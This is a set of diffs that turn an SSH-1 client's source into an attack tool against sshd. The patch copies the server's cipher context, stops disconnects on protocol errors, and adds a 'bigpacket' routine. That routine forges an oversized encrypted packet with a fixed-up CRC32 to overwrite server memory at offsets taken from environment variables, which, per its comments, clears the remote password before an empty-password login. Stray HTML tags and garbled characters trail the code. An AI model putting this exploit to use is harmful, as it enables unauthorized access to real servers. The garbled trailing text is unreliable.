--- crc32.c Thu Jun 22 13:32:32 2000 +++ patched_crc32.c Tue Feb 20 03:02:04 2001 @@ -119,3 +119,14 @@ } return crc32val; } + +unsigned int +crc32_recursive(const unsigned char *s, unsigned int crc32val) +{ + unsigned int i; + for (i = 0; i < 4; i ++) { + crc32val = crc32_tab[(crc32val ^ s[i]) & 0xff] ^ (crc32val >> 8); + } + + return crc32val; +} --- dispatch.c Thu Jun 22 13:32:32 2000 +++ patched_dispatch.c Tue Feb 20 03:02:18 2001 @@ -71,7 +71,8 @@ if (type > 0 && type < DISPATCH_MAX && dispatch[type] != NULL) (*dispatch[type])(type, plen); else - packet_disconnect("protocol error: rcvd type %d", type); +// packet_disconnect("protocol error: rcvd type %d", type); + debug("WOULD TERMINATE: type : %d", type); if (done != NULL && *done) return; } --- packet.c Tue Jul 11 01:29:50 2000 +++ patched_packet.c Tue Feb 20 03:04:16 2001 @@ -72,6 +72,12 @@ /* Encryption context for sending data. This is only used for encryption. */ static CipherContext send_context; +// we have to decrypt all data before sending with backup in order to be able +// to predict the values on sshd's side +static CipherContext backup_context; +static char tmpbuf[1024]; + + /* Buffer for raw input data from the socket. */ static Buffer input; @@ -146,6 +152,7 @@ cipher_type = SSH_CIPHER_NONE; cipher_set_key(&send_context, SSH_CIPHER_NONE, (unsigned char *) "", 0); cipher_set_key(&receive_context, SSH_CIPHER_NONE, (unsigned char *) "", 0); + cipher_set_key(&backup_context, SSH_CIPHER_NONE, (unsigned char *) "", 0); if (!initialized) { initialized = 1; buffer_init(&input); @@ -298,8 +305,69 @@ unsigned int bytes) { cipher_encrypt(cc, dest, src, bytes); + +// on ssh side we maintain a copy of remote's cipher context in order to be able +// to decrypt our messages +// we simply decrypt all we crypt to stay informed about what remote sides is doing with our data :-) + cipher_decrypt(&backup_context, tmpbuf, dest, bytes); + } +// decrypts the stream as it would happen on the other side +void +backup_decrypt(void *dest, void *src, unsigned int bytes) +{ +CipherContext cc; + +// do not modify backup context + cc=backup_context; + cipher_decrypt(&cc, dest, src, bytes); +} + +void +send_encrypt(void *dest, void *src, unsigned int bytes) +{ +static CipherContext cc2; +static int c=0; +CipherContext cc; + + if(c==0) { + cc2=send_context; + c++; + debug("frezing a copy of send_context !"); + } + + cc=cc2; + cipher_encrypt(&cc, dest, src, bytes); +} + +void +send_encrypt_modify(void *dest, void *src, unsigned int bytes) +{ + cipher_encrypt(&send_context, dest, src, bytes); +} + +void +send_encrypt_save(void *dest, void *src, unsigned int bytes, int save) +{ +static CipherContext cc2; +static int c=0; +CipherContext cc; + + if(c==0) { + cc2=send_context; + c++; + debug("frezing a copy of send_context !"); + } + + cc=cc2; + cipher_encrypt(&cc, dest, src, bytes); + + if(save) + cc2=cc; +} + + /* * Decrypts the given number of bytes, copying from src to dest. bytes is * known to be a multiple of 8. @@ -346,6 +414,9 @@ /* All other ciphers use the same key in both directions for now. */ cipher_set_key(&receive_context, cipher, key, keylen); cipher_set_key(&send_context, cipher, key, keylen); + debug("stored copy of send context"); + backup_context=send_context; + cipher_set_key(&backup_context, cipher, key, keylen); } /* Starts constructing a packet to send. */ --- sshconnect1.c Tue May 9 03:03:04 2000 +++ patched_sshconnect1.c Tue Feb 20 03:01:44 2001 @@ -651,6 +651,126 @@ return 0; } +extern void send_encrypt(void *dest, void *src, unsigned int bytes); +extern void send_decrypt(void *dest, void *src, unsigned int bytes); +extern unsigned crc32_recursive(const unsigned char *s, unsigned int crc32val); +extern void backup_decrypt(void *dest, void *src, unsigned int bytes); +extern void send_encrypt_modify(void *dest, void *src, unsigned int bytes); +extern void send_encrypt_save(void *dest, void *src, unsigned int bytes, int save); +unsigned int crc32(const unsigned char *s, unsigned int len); + + +// this will construct valid ssh packet, containing ignored message +// with cipher(packet) = magic offset to write to configured offset +// and the packet will have valid (encrypted) crc :-) +void bigpacket() +{ +unsigned DATALEN=1024*86; +unsigned paddedlen=(DATALEN + 8) & ~7; + +unsigned char* buf; +unsigned char* buf2, *buf3; + +int connection_out; + +unsigned* ptr, *ptr2, i, checksum, w; +unsigned* chkp; + +unsigned off; +unsigned noff; +unsigned npos=512; + + + debug("*** writing big packet ***"); + + srand(time(NULL)); + + buf3=getenv("OFF"); + if(!buf3) { + debug("please set OFF"); + exit(1); + } + + sscanf(buf3, "%x", &off); + debug("\nOFF : %x", off); + + buf3=getenv("NOFF"); + if(!buf3) { + debug("please set NOFF"); + exit(1); + } + + sscanf(buf3, "%x", &noff); + debug("\nNOFF : %x", noff); + +// alloc mem + buf=(unsigned char*)malloc(DATALEN+1024); + buf2=(unsigned char*)malloc(DATALEN+1024); + buf3=(unsigned char*)malloc(DATALEN+1024); + + memset(buf3, 0x00, DATALEN+512); + memset(buf2, 0x00, DATALEN+512); + memset(buf, 0x00, DATALEN+512); + + ptr=(unsigned*)(buf); + ptr2=(unsigned*)(buf2); + +// socket fd + connection_out=packet_get_connection_out(); + +// construct plain text to get buf[k] = offset after encryption + for(i=0;ipw_passwd + ptr2[256*2]=htonl(off); + ptr2[0x78*2]=htonl(off); + +// write checksum + chkp=(unsigned*)(buf+paddedlen); + + backup_decrypt(buf+4, buf2, paddedlen-8); + +// message type + ptr[0]=htonl(DATALEN); + +// compute checksum + checksum=crc32((unsigned char *) buf+4, paddedlen-4); + *chkp=htonl(checksum); + +// buf contains decrypted plaintext! + send_encrypt_save(buf2, buf+4, paddedlen-8, 1); + checksum=crc32((unsigned char *) buf+4, paddedlen-8); + *(chkp-1)=((unsigned)rand()); + w=crc32_recursive((unsigned char *) buf+4 + (paddedlen-8), checksum); + *chkp=htonl(w); + +// encrypt freeval + new crc32 and copy this into buf2 + send_encrypt_save(buf2 + (paddedlen-8), buf+4 + (paddedlen-8), 8, 0); + +// now buf is ready to send (encrypted) !!! +// modify our send_context to maintain synchronisation with the server :-) + send_encrypt_modify(buf3, buf+4, paddedlen); + memcpy(buf+4, buf2, paddedlen); + +// write packet now: + if (atomicio(write, connection_out, buf, paddedlen+4)!=paddedlen+4) + fatal("write: %.100s", strerror(errno)); + + free(buf); + free(buf2); + free(buf3); + + debug("*** wrote bigpacket ***"); +} + + /* * Tries to authenticate with plain passwd authentication. */ @@ -663,14 +783,32 @@ debug("Doing password authentication."); if (options.cipher == SSH_CIPHER_NONE) log("WARNING: Encryption is disabled! Password will be transmitted in clear text."); + +// prepare 0xffff field ! + debug("sending 0xffff packet"); + packet_start(0xf8); + password=malloc(512); + memset(password, 0x00, 512); + packet_put_string(password, 512); + packet_send(); + packet_write_wait(); + free(password); + + type = packet_read(&payload_len); + if (type == SSH_SMSG_SUCCESS) + debug("sshd accepted 0xffff msg"); + if (type != SSH_SMSG_FAILURE) + debug("sshd bounced 0xffff msg !!!"); + +// clear remote pass :-) + bigpacket(); + for (i = 0; i < options.number_of_password_prompts; i++) { if (i != 0) error("Permission denied, please try again."); - password = read_passphrase(prompt, 0); + password = ""; packet_start(SSH_CMSG_AUTH_PASSWORD); packet_put_string(password, strlen(password)); - memset(password, 0, strlen(password)); - xfree(password); packet_send(); packet_write_wait();
<span id="7ztzv"></span>
<sub id="7ztzv"></sub>


<span id="7ztzv"></span><form id="7ztzv"></form>


<span id="7ztzv"></span>
    

      

        <address id="7ztzv"></address>
            

ÑÇÖÞÅ·ÃÀÔÚÏß